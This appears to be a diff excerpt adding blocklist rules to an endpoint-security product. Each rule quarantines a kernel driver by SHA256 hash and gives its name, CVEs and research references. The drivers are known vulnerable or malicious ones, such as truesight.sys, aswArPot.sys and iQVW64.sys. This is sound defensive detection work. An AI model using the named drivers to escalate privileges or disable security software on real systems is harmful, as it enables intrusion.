+  "creation_date": "2026-03-23T11:45:29.983177Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983183Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5874e47ef681bc7cd86df905751fd0f692eed11b6a30fa68df592806316f9bc2",
+  "comment": "Vulnerable Kernel Driver (aka b3.sys) [https://www.loldrivers.io/drivers/adfb015a-f453-4b9e-a247-50f146209eb0/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "33352fc7-d4ee-5b3e-888e-c30627d5cf97",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834726Z",
+  "creation_date": "2026-03-23T11:45:30.834729Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834739Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cde0a6cb79c9e87e1d5cd0b2da48df3e8ac007dde81589417ae52017db7f4dd9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3347bb5e-80e3-5f9d-b324-d4ad07cfe595",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458579Z",
+  "creation_date": "2026-03-23T11:45:30.458582Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458591Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5271f526b19331c7f8526a5e10b9aedc0ddd325958aa0e908ceaee40692f7ae2",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "336253a1-b634-57f8-b922-8e35db358ad4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457902Z",
+  "creation_date": "2026-03-23T11:45:30.457905Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457913Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "14938f68957ede6e2b742a550042119a8fbc9f14427fb89fa53fff12d243561c",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "33690441-6e78-5490-a5c7-347f31939b4d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979846Z",
+  "creation_date": "2026-03-23T11:45:29.979848Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979854Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "258359a7fa3d975620c9810dab3a6493972876a024135feaf3ac8482179b2e79",
+  "comment": "Vulnerable Kernel Driver (aka t8.sys) [https://www.loldrivers.io/drivers/8c2fa9d1-b2b1-4ba1-bad9-60c44c2c20eb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "336f8934-75d6-53fa-b230-6f9b52fb4f2a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823034Z",
+  "creation_date": "2026-03-23T11:45:30.823036Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823041Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8001d7161d662a6f4afb4d17823144e042fd24696d8904380d48065209f28258",
+  "comment": "Vulnerable Kernel Driver (aka FH-EtherCAT_DIO.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "33774780-26d8-53e8-90f8-8cb91c900ea0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969435Z",
+  "creation_date": "2026-03-23T11:45:29.969437Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969443Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e5183eda50e2c42d2ed10c015be87dff774da180928c076e99888b0d6a931df5",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "337bb937-0924-5eee-816d-162f323cd0ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816116Z",
+  "creation_date": "2026-03-23T11:45:31.816119Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816127Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a70f2302cea9903b3f90ff5c89c3b91efea09798bd8205650d3023def1a88ae6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "337cc11d-bd5b-55e8-9860-70e4837a051e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457994Z",
+  "creation_date": "2026-03-23T11:45:30.457997Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458005Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "53810ca98e07a567bb082628d95d796f14c218762cbbaa79704740284dccda4b",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3386d7de-4380-535b-838c-95ef6f7b7108",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972107Z",
+  "creation_date": "2026-03-23T11:45:29.972109Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972115Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d74755311d127d0eb7454e56babc2db8dbaa814bc4ba8e2a7754d3e0224778e1",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "33883177-ec4f-5290-a383-97f2258e163f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146062Z",
+  "creation_date": "2026-03-23T11:45:32.146065Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146070Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "85ca0dcdc52709de21281b8fc131a58440a045cf640643a6d96e5fee13a78b81",
+  "comment": "Malicious Kernel Driver (aka driver_85ca0dcd.sys) [https://www.loldrivers.io/drivers/e1c29414-5b5b-44f4-84cc-e6f55d9a23c6/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "338a3b19-4b6c-5fc8-b199-42d1ecf700d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500257Z",
+  "creation_date": "2026-03-23T11:45:31.500260Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500268Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "74c0a7245bdaeb9bd4caef2f87e85097ea5964e7a62e5f5fc7a929f4afbcd5cd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "338b240c-6a87-5ea9-841f-f0da16e5e201",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471831Z",
+  "creation_date": "2026-03-23T11:45:30.471834Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471843Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "68671b735716ffc168addc052c5dc3d635e63e71c1e78815e7874286c3fcc248",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "338c1220-6dcc-5557-9404-25f5baf30d72",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604925Z",
+  "creation_date": "2026-03-23T11:45:29.604927Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604933Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "69a4d67126186f9b29d0c12004c8b4a9e22afe30942448ade6696eb8b164b88f",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "338e0b0b-9d4a-5aa6-ba5d-8f2c846d183c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495115Z",
+  "creation_date": "2026-03-23T11:45:31.495117Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495122Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f59d8602f4dfd43ce7126c574ca4dc1cf39867a60971c0d993a99044f15b48e1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "33937be4-b007-5c88-8e8b-a893c8cdde3f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477578Z",
+  "creation_date": "2026-03-23T11:45:30.477581Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477591Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "af16c36480d806adca881e4073dcd41acb20c35ed0b1a8f9bd4331de655036e1",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "339acd0f-f241-56e0-ac14-1572c93107c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613295Z",
+  "creation_date": "2026-03-23T11:45:29.613297Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613302Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2003b478b9fd1b3d76ec5bf4172c2e8915babbbee7ad1783794acbf8d4c2519d",
+  "comment": "ASRock vulnerable drivers - Privilege Escalation (aka AsrDrv10X.sys) [CVE-2018-10709] [https://www.exploit-db.com/exploits/45716] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "339c419c-886b-5690-b21f-955e21beff6d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833975Z",
+  "creation_date": "2026-03-23T11:45:30.833978Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833987Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1b89fa8308d44e0629bc159ab14b284145fdfe7e13d6fb2a81b6a378f31c32c1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "33a21463-c58a-5581-9793-1abf3dfee325",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456480Z",
+  "creation_date": "2026-03-23T11:45:30.456483Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456492Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d8096325bfe81b093dd522095b6153d9c4850ba2eaa790e12e7056ef160d0432",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "33a6a51f-10aa-5a22-a7a3-0e4d1e87c523",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493221Z",
+  "creation_date": "2026-03-23T11:45:31.493223Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493229Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d4c3d7c95e4ed14c7adff853e1d36d976a5e05de0f9e37a409dd79224d921392",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "33a781ac-ff55-57b2-870d-0bd12217a5dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452981Z",
+  "creation_date": "2026-03-23T11:45:30.452984Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452994Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e279e425d906ba77784fb5b2738913f5065a567d03abe4fd5571695d418c1c0f",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "33bead4f-7b8d-51a5-b91f-ac49d23b4974",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611532Z",
+  "creation_date": "2026-03-23T11:45:29.611534Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611539Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eb6807c46e2d4808f07cca9242e7a59393fdab6ccf4da1aec124ef2a34398d43",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "33bf2257-58a5-5d53-9cb4-533d8d23da48",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616060Z",
+  "creation_date": "2026-03-23T11:45:29.616062Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616067Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "677c0b1add3990fad51f492553d3533115c50a242a919437ccb145943011d2bf",
+  "comment": "Phoenix Tech. vulnerable BIOS update tool (aka PhlashNT.sys and WinFlash64.sys) [https://www.loldrivers.io/drivers/be3e49ea-095e-4fdb-9529-f4c2dbb9a9fc/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
